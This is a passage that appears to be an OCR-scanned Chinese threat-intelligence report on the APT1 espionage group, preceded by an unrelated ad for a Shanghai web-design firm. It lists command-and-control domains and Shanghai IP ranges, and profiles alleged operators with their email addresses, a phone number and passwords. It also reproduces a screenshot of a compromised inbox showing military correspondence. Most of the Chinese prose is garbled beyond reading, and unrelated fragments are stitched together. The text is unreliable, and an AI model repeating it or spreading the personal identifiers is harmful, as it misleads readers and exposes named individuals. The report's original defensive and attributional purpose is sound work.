The OICQ Advisory: 253989606, 17651185
contract

Company Website: http:/jwww.china-one.org
Shanghai the white teeth

Bus routes: 73,251,830,93,87,938 89,857,721,931,205,957,909,224,548,732 B,
732,924,808,754,138,927,122,236 , 303,938,712 Zhongshan West Road, Yishan Road Station.

~ Trade website production is

completed

The contracted goods Subway Directions: Line 1 Shanghai stadium Station Exit No. 5, Mo. 3 line Yishan Road Station, Line

~ plastic (shanghai) trade 4 Yishan Road Station

website production Address:

K25: — AT ENAPTLER ) H 7 B b, ]It — A i) o ) A SR B

fir4a £/

RZ—FRIAPTIDC RS =Ll 4. i, BORANESS . X8 BT APT IR #EAI %
I HEEE — AR R At o BRI, FRATTARAE 753 L8 X3 ¥ 480 N FQDINE S APTINAZ 1) H I
ML GE: MR IXLETENTAPTL, HEAPTHIAZ AT 1))

B X, R A RET R A WICNN,  YahooFIReuters.

R, AT AR S RS SO E K4 FR, an “aunewsonline.com”  (ROKHE)

“canadatvsite.com” (JnEK) , Ml “todayusa.org” (SEE) . FriZE—/ N HAPTLIH
T 58] i 44 T PR B
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aoldaily.com
aunewsonline.com
canadatvsite.com
canoedaily.com
cnndaily.com
cnndaily.net
cnnnewsdaily.com
defenceonline.net
freshreaders.net
giftnews.org

issnbgkit.net
mediaxsds.net
myyahoonews . com
newsesport.com
newsonet.net
newsonlinesite.com
NEWSPappers.ory
nytimesnews.net
oplaymagzine.com
phoenixtvus.com

purpledaily.com
reutersnewsonline.com
rssadvanced.org
saltlakenews.org
sportreadok.net
todayusa.org
usapappers.com
usnewssite.com
yahoodaily.com

AR Bk 4 2 2% a4 R | (AOL, Apple, Google, Microsoft) , SUwEE) i

(McAfee, Symantec) , A7~ 4 (Blackberry, Bluecoat) . APTLH i ] 5l F 44 #5751 ] &

A

aolonline.com
applesoftupdate.com
blackberrycluter.com
bluecoate.com
comrepair.net
dnsweb.org
downloadsite.me
firefoxupdata.com

globalowa.com
gmailboxes.com
hugesoft.org
idirectech.com
ifexcel.com
infosupports.com
livemymsn.com
mcafeepaying.com

microsoft-update-info.com
micyuisyahooapis.com
msnhome. org

pcclubddk.net
progammerli.com
softsolutionbox.net
symanteconline.net
webservicesupdate.com

e, LS HAPTUE T KA R T — Al 328

Ui ) A 3 <

RRZ PR T N RS

advanbusiness.com
businessconsults.net
businessformars.com

companyinfosite.com
conferencesinfo.com
copporationnews.com

infobusinessus.org
jobsadvanced.com

AR MR HAAPTURIZ R AERFEEIX A Z MG, APTUIFRAH B EXTE

ATBE BRI O R — N REAT T . A, AT C e et BRI CAH B 2K X
BT MR . B0, 2011459 H, Yahoo ik Bl iFis, “Arizona, USA” [¥]” zheng
youjun” , flyF i T APTLX.” myyahoonews.com” . Yahoo'= FK[fj<myyahoonews.com>1z 44
L8R A Y AHOO R T ATEL LA X [zheng youjun]ii: fHF 31-3% 5= 4 Fil < myyahoonews.com >1if;
Yo T, EZANEEREE R “myyahoonews.com” PuELE 24 I 15 ] — MR T —ANEL

D3PGSR VE R M il . == ARNETEE, 7 zheng youjun” AT N . B 5,
“myyahoonews.com” 145 IR FHAPT L, 45 HE 1% o

=TT

APTUE A3 2 IS5 = J5 IS5 MRy “BlZDNS”

R MRS, eV AT LA

NCAFEM IR PSS 17 IXBEATIEM . 24K, APTIC ST XMy sGEM T804
FQDN. Al 175 2 24— MFQDNRIPARATTING, A AT] L5 fif St 3 g 194 296 4 111 65 s 3] X

2014-05-24

H3C MR 022 45 /N

%5311, JL87 It



APTL:  “HaFh— 7 H [ ) 25 (] 15 0 BA 7

Jk 55 % S AT TRIFQDN IPfi T o B T 3hSDNS, i BATAIAPTIE AT H AR Ak i 4
A “appspot.com” [FIFQDN, X3 WA ATTIEAE A I 45 3 ] 5 13 R 55 o

W FFIKIFQDN

APTINAR 2 A AT Bk siFQDN e FRATTHG X SL MR “ By ” 2R e ATk
LA A B A M, AN TSR H I BAPTIAI . APTLE HI B HFIFIFQDNE
BHMWANHR. EG, MR ERME CEFAEZIPICA ) JEHE R 512 0 0k 32 I Bk R
SR A A A A S 2% 40 # L 1 BS P PR BRI/ VA IRIFQDN R o 28—, FEABATIR S TR
LFFFQDNT A C2 1 kit

o B A e O E

IE B3 B, FfTOEuEsE 79376 IR A iArAE GV D FEE 128494 A ]
(P, IPHLLESE MK ZHAA L E (700) , HOREE (109) o ekt ) =45,
FAIC L USR] T APTL FQDN/#EHTI88AN R (I IPHuAL , FRATTIA A A & “ sinkhole ” 5 “ domain
parking” 1Pk

~54 United States: 559
~54 China: 263

~54 Taiwan: 25

~54 Korea: 22

~54 United Kingdom: 14
~54 Canada: 12

~54 Other: 83

FRE PR L 40K 2 5UR T APTLIREMSS, X RE ALl N, A2 & Tl hELE
AT R B R S, EH S ES RGITH R

FKH11: APTL FQDNs AT () A 3 b bk B A (g il
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150 223.166.0.0 - 223.167.255.255 China Unicom Shanghai Network
68 58.246.0.0 - 58.247.255.255 China Unicom Shanghai Network
10 112.64.0.0 - 112.65.255.255 China Unicom Shanghai Network
7 114.80.0.0 - 114.95.255.255 China Telecom Shanghai Network
5 [139.226.0.0 - 139.227.255.255 China Unicom Shanghai Network

222.64.0.0 - 222.73.255.25 China Telecom Shanghai Network
3 116.224.0.0 - 116.239.255.255 China Telecom Shanghai Network
16 Other (Non-Shanghai)

XSS TR R, AR SE [ A 400N IPHBIE VG B T APTLAR 45 4%, XYLl 55 4%
FAE AR L MandiantiF 52 (1. A,  EARIRATAES 1L 25001NAPTL FQDN, HEG £ K
TEAEET TAPTL. IAMMbTE (fRsrHY . APTLH F Rk s 3L Al 4 it T A 8 1 1000 5 IR

554 o

6 APT1: B4

FEM RS R APT I A Gl R —FEIEAL AT 3, D 7 U A4 2 APT 14 I (14520
s BATRGE A L FENER IR B APT LN — L8 N[K B ) o XL S 5 B AT AR G I B A 2 A e %,
XA TFHEATIWETE, FIeVFBATEREARATIE B AT LEAPT LA 7 il 1) 11 4 FIAPT L
FQDNATHL 7~ WEAF10K )™ (RN o 3K S8 S 15 3B FERIRAE HH [ (1 0 238 AR % B, 3 e R AT T 7
BB AOR X L, JF HAEL A T B i) THL 5 v At SO 4 2 £ 1) 7 SRR 7

VUNAPT A BIAEAE 5 20 ARAR 22 /N5 RSO TR IR T Ao 38 IR — IR0, 3T
AMLEEE 3R 5 AN DU R, FE R AR T AN BRI N Z TR ORI . APTL
N G AR R AR R, 1Bk sRIFQDN, A AT 10 2 R B0 FH A 8 o 4 B 1) e s, 40
H ORI B TS .

i AR R Kt BT B R ER RSN TR . B E YR AR, APTIINIR
i AN B 7= S B 1 T KB T BRI AT AN o W 7 1 e M o AT
Jiti, AWEBVS [ BRI, W AREEVS 438K, COM ,  facebook. com , Fltwitter.com. SE&MT
VEELRABATTRE B F b “ HE KB KRS ” AN IER B XA ONIE TR it AT M
gk WL ST FH 175 B f) 5 3K S B Facebook Ml Twit ter. — FUXFME BB R I, 44248 F b
1563 (A BRI S
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R A B K KI5 K 8 2
r‘_‘ R e RO P 4 R AR B2,
‘ X T, BRI AT TIA A AR B AT B Y 4% I 4%

Wil BTl “AEE” Wit Buao s, Wit
SR B R AR A . AR B Kkt L I Bk PR 84 g 1) B
Wk A TP L ; BELIBT BRCHR S 1) Ry 5 (R 42 5 T B LA AR 35 A URL H A S B 5 40 P 3k
FTCPERA Ty AT B o T I Ao A AT il b [ i, e DU Al “ANE 27
IS, — ER UM R « FLE5 IR, o B 2 BREAS B2 05 o MMl ) P 250 i 200K ) AR 3 75 725
WAE AN T-Bro o LR gk sl 5e 3 ANt — 2 R RN, fidle (20124E123 ) i FHL i
BAI ) I 55 AN R B BELLE AT P IS B, WL 4%

APTIRZM S AN XORERE(TRER

“CHRAROERE” (UG ) R s |
20044, AT EHR IR A R, IR ARG % />
Ko SEAEKARLRE IS T P AORAS B
I . SREAR O AR BT
KIMBGH, IHRE T —RIIK TR Ty
WA, A (S AT TR B AL
) o EPTRHERSY (HEEPTR%Y) FEFRHYE
SRR RIIR S, 20044E1 11, IKHEIZNOLS
IR« REEH2004: [ Fr s H” (IH o

e 2 SO HAR AR M B AT, —MERET 1, 45 ot FAEE T

— AR S W ] i)

Eeetfk S E#IF 18 Jan 2004, Rt to:/ Swww. chinanil. con. cn/sitel/gflt/2004—
08/30/ content TO5Z16. hin

“ORESE, AR (D) . BRI AR R RIS, il 56
[ 7 EOL T 2 ik ol “ 227 o rp [ S AT U 2 0 b 2
A 2 B2 7

- 2004FUglyGorillal H16H
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APTL:  “HEHB— = H ] 9 25 (1] 5 5 A

B EFE RIS — R, ot BB RIS s S Al B DR 2E A R
{5 B e FLIR I I S T A A5 S IR R FRATI SR T X e

#) o E1 2= M Bh+F X m X0k ua&oﬁnma‘.?

FMEAM+*A®EH
1D, (n) BAR1
5l L
Frfesg
PAER
Emails uglygorilla@163. com
Jiifad =+ g
SR 14 HHE: 44 [FEirR]
b B e [« 2004-03-17 21:43:11.0 RELFRFR: 15
M4, JackWang TR
MSN: 10Q/010Q/0Q:

BRI

wEtARSE
#EM () MFAWNT
FKAWI

B 27. BEHAEE , PEEMEN, RIR: http://bbs.chinamil.com.cn/forum/bbsui.jsp?id=(0)5681

Rl FAIFRZ A« UglyGorilla 7 (UG M NME AT Iedk. bR T by a1 B £F
Hudik,  UGHIHS TARE) “ SCIERIfr 44k JackWang .

E—HEZ N, FATE S TUCHTT i TR —/MiE#. 20044£10 725 H, UGN 1 I4E
RAMEFEH] “hugesoft. org ” #A. {E “hugesoft. org ” BN, EMVFZAPTI EHIIRGE
BHAEUGH R I S BT BT 12012459 H 10 H , ZEKAZ I A4 114 1 B $1)20 1 34F
TER AR EER, BATHT e 26 BIUGHF XA 4 R A4 .

20074F,  UGHES (2 — > OSSR MANITSME, & —MRIEFIZARK —H#, BT
T BT AR R4, AR L OB, BARIEE R, UglyGorillafiis, 06/29/2007” .
UGHT At ¥ 1 b T TET (RO A o BE 4570 b ) AL A 1 IR 1 T A% DS T B AT AT . (9

Biltun, AL HoAh s RS BUE ARk (FQDND [ EHL4, W “arrowservice. net” Al
BUHTA “msnhome. org” #EAUGHIEIC (EEHHHY “UC” D

ug-opm. hugesoft. org

ug-rj.arrowservice. net
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ug—hst. msnhome. org

FRARIX IS 8 11 AL 81 DA UG 11 20 0 oAk = 1T AR 4532 i />, LAy P SRAE Ay v R R ot
Wit () T L AIMANITSMEFIWEBC2 - UGX{B4R H (1 T i«

UG— ELLE &I 48Kk S48 T I 7 4 “UglyGorilla” M VFE AL ACHEA T TIR/H
THMNER ERZHNEOT, WUBR TR, (FE248 18, 5 i As 50 N A Al
T A B0 B BN, fE20114E2 ), B 44 M E i BT A A “rootkit. com” frK
W& TH “uglygorilla” FEMHH PB4 luglygoril1a@163. com. [RIAF A HL -7 IS4
THE M 20044 AR HCF iR En A A hugesoft. org o Bfrootkit. comiltt #EMk /= 5 KK TP L
58.246. 255. 28, HWIHfIKIFR m) T 0 AT IR IR B g RR SR B e T KR IUG A Bk

58.246.0.0/15 &

FEHA LA, UGTZ 4 H T H “ JackWang” B8 A7 AL EL S04 I 4R . 2006
220, A4k “uglygorilla” KT ) rh [ I A4 W EEPUDN . Cwww. pudn. com) _E A%
T A% “mailbomb_1.08. zip” (HLEH FHRAF TR KIS MARPUDNIK ™ R HE4H 5%
R 7 BS0E4 “Wang Dong”  (VE49) .

About 3K [Add as Friend] [Send Message] [Home] [Chinesea Versior

E Fles uploaded:
. mailbomb_1.08.zp.mail bomb with o good . 18KB.downloads 4

Kl29: VEZR A& Zpudn.comf) ST
B EREWAMEEE S . wt, TEPAZ TGRS, BTLL,  “Wang” fEVE R4
TR G o 55, B T — AN 24 0 ) A, BRI, AR N 4

Kk, “JackWang” WRETEEASH I — M4 .

B EENEER (APTL) fiiff: DOTA
H—NAPTIAMIHE “dota” (DOTA) , Ay 2 T smFU ), JLFAb ST
F P #8048 T AR AR 44 RO HH Al e BEmb B8t . DOTA W] BE M fRTFK A Dot AFRIA AT Rk, 3t
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B s TALI A, BORTRAT WA L5 BT S BUTF R A ] B e B A G TG

AT A QI KL AR, £045d0ta010@hotmail. conflldota. d013 @ gmail. com
(¥, JF HEWH A FIDOTAKE T-Web H T HBAF RS G JLAMELERK - (Billn, dota. d001%]
dota. d015 ) o KEZHNGHL N, X8k ) T #hoy TREIFAE H 7 M Rt k0 15 At 5 55 o 23k
TRt B el . 140, DOTA (i HAPT1KIPHHES8. 247. 26. 59) 7 At 1) 35 Bl Bk s H b
I ] A e 25 0 10 Fl 1 S 1 ik dOta00 1@hotmai 1. com ™ Mt Facebook (] *“ do. ta. 50117
(Facebook [/ ID:  100002184628208) .

FELEHR S, WA HMCmail , TR R R SR s S, DA AR
IUETISGAE “RIME " o ARG, TP D Z0U R NSO UE I 58 B 3t L1 it e 6 — AN ) s b
A5 B ) 231 SERDOTAfHE I FAHL S5 “159-2193-7229” , LAEZICKR AR RIGIE RS, AR5
ABAE LA B R A BT

0 ] ) L E S i U & — AN XS, AT, AR SE I Ml S A AT S, it
WX 5 FER AR S FHLHE N R . FLEE “159-2193-7229” J)fifpk “159” X5, XK
W] T IXANE ST SRS T E R S, AL “21937 KW T RIS SHY. X ERE Y
XA S A th P E A S/ Wegh FHEAE . DOTA) N 3 10 150 45 At £ IS AN I Tr) 470
AT,

AT ELFIDOTALE I 11

serpmpRkyRne  DOTA: PRRISRFRIBr 427

o MEE EBDOTAT e 2 G A st . ST

WEL RIS RSk P RmEnED, ERRRERHEN, EE
e e HFESANEFRENES “5H” 1 “KE”

PSRRI A e % 2 K EFHEMKPREIE: poter. spol@gmail. com, ok

MR A, ixs B ek ARl dota. sb0058gmail. com

Gmai L ™ L T e 25 AT %
PRI T b ) A iy, AKX AN
TR ANE 2, EH I I,

RWITCRRAEAL T ] F R 2 i, AR DA A 2 TR K SE R 2% FA HL 1 B A
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/% Gmail - Inbox (7) - dota.d001@gmailcom - Windows Internet Explorer

m - IM https: fimail, google.com/nail/?shya=1 #inbox j| G ||‘1H X |Irw Search ‘P
S8 & [V Gmai- Inbox (7) - dota.d001@gmai com | | - B - &b - |k page - (G Tooks -
g:é;dail Vr Archive Report spam  Delete ® | B Move to¥  Labelsy Mare actions¥ Refresh 1-410fd1

Personal r Gmail Team Your Gmail address, dota.d006@gmail.com, has been created rat Aug 31
Travel IC  Gmail Team Your Gmail address, dota.d005@gmail.com, has been created - Congrat Aug 31

B mare » =2 WAYN - Perodic reminder Andrew Simanjuntak: Where are you now? - Hi Raith, You 1ave yet to confirm Aug 27
Chat == 2 WAYN - Andrew Simanjunta Invitation reminder from Andrew Simanjuntak - Hi Raith, Andrew Simanjuntak i Juls
“add or invit ¥ WAYN Andrew Simanjuntak has left a message for you - WAYN Hi Raith, Andre Jun 14

~ Jefirey Lim (2) Talking Paints + Sequence of Events for 46th ISJTC - Hello bu Ratih Jun &

o :i_J_t?M - . r me, Mail (2) Fw: POC for the EXECOM 2011 - Delivery to the following rzcipient fa tay &
.\;l‘:phuuﬂse o r o me, Mai(3) Fw: POC far the EXECOM 2011 - G d here is our POC fo &P May 5
« John Rabara r me, Mail (3) Fw: POC for the EXECOM 2011 - G i here is our f fo &P May &
Invite a friend — r me, jeremy (2} Re: CARAT SOE - Good Day Trel, rece tay 4
Give Gmail to: r me, Fernandez (2) F¥: Proposed MDB-SEB Activities for CY2012 - Wala bay 4
[ r meMal@ RE: HAMILTON UPDATES DTD 20 AND 21 APR 11 - C ing Apr 28
Sand Invita [ 50 jaft " me, LYC-bearing (2) Bearing Requirements - hi, nice to hear from you, our V4 Apr 28
Preview Invite r me, Andrew (2) RE: 45th ISJTC Proposed date 6 - 8 July 11 in Jakarta - Dear Ratih, Mice talki J Apr2g

r jeteafpcgse Re: F¥: Post PH-US BK11 Exercise Conference (Action Reguired) - Hello he Apr 28

r me, Sara (2) FYV: Bearing Requirements - Dear Rodney, Thank you for your [etter. Our web & Apr 28

r me, Mail (2) FW: Post PH-US BK11 Exercise Conference - Delivery to the fallowing recipie & Apr 28

™ % me, Mail (2) FW: Bearing Regquirements - Delivery to the following recipiznt failed anet P Apr 28

r me, Mail (2) Bearing Requirernents - Delivery tn the following recipient fsiled permanently: « 49 Apr 28

r me, M. Saravanan (2) MALAYSIAN ARMED FORCES COMMAND AND STAFF COURSE - Szlam ¢ 40 Apr 26

r ma, Yahya (3) MALAYSIAN ARMED FORCES COMMAND AND STAFF COURSE - tiada atl &° Apr 25

r me, Mail (2) MALAYSIAN ARMED FORCES COMMAND AND STAFF COURSE 40/2011 - & Apr 24

r me, Mail (2) MALAYSIAN ARMED FORCES COMMAND AND STAFF COURSE - Delivery & Apr 24

r me, syazmanga (2) MALAYSIAN ARMED FORCES COMMAND AND STAFF COURSE - Roger s ¢ Apr 24

r me, Mail @2) Fv: AMOIM invitation letters - Delivery to the following recisient failed perman & Apr 21

r me, Mail (2) Fyy: AMOIM invitation letters - Delivery to the following recisient failed perman 4 Apr21

r me, Mail (2) F¥W: AMOIM invitation letters - Delivery to the following recidient failed perman 4 Apr21

r me, Amaraldo (2) Fyy- GPOI Angkar Sentinel 2011:Change of date of exercise to 522 May 201° 4 Apr21

r me, Andrew (2) Fyy: GPOI Angkor Sentinel 2011:Change of date of exercise to 522 May 201° 40 Apr 21

r Gmail Team Your Gmail address, dota. d0D4@gmail. com, has been created - Congratulatio Apr 20

r me, Mail (2) PHIBLEX 2011 (April 20 2011) - Delivery to the following recipient failed perma & Apr20

r me, Mail (2) F¥W: BK 11 and FTX Activities (UNCLASSIFIED) - Delivery 1o the follo Apr 20

B30 : dota.d001 @ gmail.com CIH-4ERED) “

ALEATTAL X A2 T R GE ERVEC AN, sl B MK, B I s — A
RS ik, K2 EAPTIBGE A A 6S, BRIk TR, Wi aaiak
“lgaz2wsx” BEARH MR, WHEH “rootkit” /E R Mirootkit. comfs B 2 AW 5T 114

o BVFZAPTII T, DOTASIE (K48 FH AL TR AU %08, 1 “ 1qaz@WSX#EDC” .
SR, A1 “233clk”  AJEIETHAT A HDOTA) 2 A8 M, WARM T REA EME— 1
MEIAPTIAT # o S5 “ 37, RS54 “c”, RIa— D58 “k” W R E N (“37
/“e” /[ “k” ) Aju/chu/ke (R/Ab/FE) HREEK RHEEA R/ AL/ B B4 S
JZ A . 2049550 H AR T B ARG K, CRGE K. . B R 144 T B R
BINGRAL. L R Bl 1 IR E R LA g T IRERIREL, RS “233c1k”
IRAT e — B = — J5 [61398FBRN ], LA FH sk s i A =X AR N D sk g 138 —
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2 PR EEDOTA TR IE IR S b A 3 — AN R IR AERT s M 5h 4k R IE R AN S| — IS i 7L
1G4y . SR, Mandiant B4 B85 A7 UGFIDOTAY )4 Bl IR R . B, TRAII 823
AN JEEAPT I IE AL i, FQDNs, TPHuhEYG AN L. XL SR e A, 454

A1 5561398 BN DI LA AZ AR A W] e, %70, UGMIDOTATLAHIAIN, FL2wlfig—k TAf.

APTIEEZ N4 SuperHard (Mei Qiang/HF3H)

AR RS = AR 55 148 (4 F8 JSuperard (SH) o SHES— R B B2 h— 44
THAE#, JF HZAURTGAFIBANGAT: B/ (LN SRC: BRI MBI s — M
B TTER o FRERALTUG, SHYEARIIAR 245 i A BRI 42 50 R, 2T 4
f7ouft (PE) SCAFVS_VERSTONINFOZ: I 28 W 4 ¥ &l SuperHard, B cmd. exef| A A
“Microsoft corp. ” &N “superhard corp. ” .

A, VPSR Y SHT B ve vt F e AWindows WIZ LU RGE 2. BUAA
AJEME—APTIGnAS A B3, (H 2 A 50 SHEm N — A AR AT e 1 (K NAPT LR R AL &7 1)
SHIF) T E AL I 7E HARAPT LA RIS 2 11y JLAS 92490 M HABAPTZA 2R . % T-SHIY TR iy
MBAPT LA TR, IR LG R WISHE — DRI ERAE 0L, BA T SHAZE A APT LA T
TR o

AR, FERRERSHIN,  FATSAIE f AT EAY; i) A TPk P rootkit. coms iZ%rootkit. com
“SuperHard M” MK/ 4152 M IPHLIESS. 247, 237, 47}, A6 —ANCAIMAPTLH YEFE, Jf
i HI FE 7 BBkl “mei qiang 82@sohu. com” o FATTMEZFIDOTAIELE
Hmei_qiang 82@sohu. comH HL FHFEAEHR . “Mei Qiang”  (Mful) XAN4 T — MY H
SIS AL o AL, o ] 1o B a2 A B i 1 O B 3 Al AT e AR Ay, X
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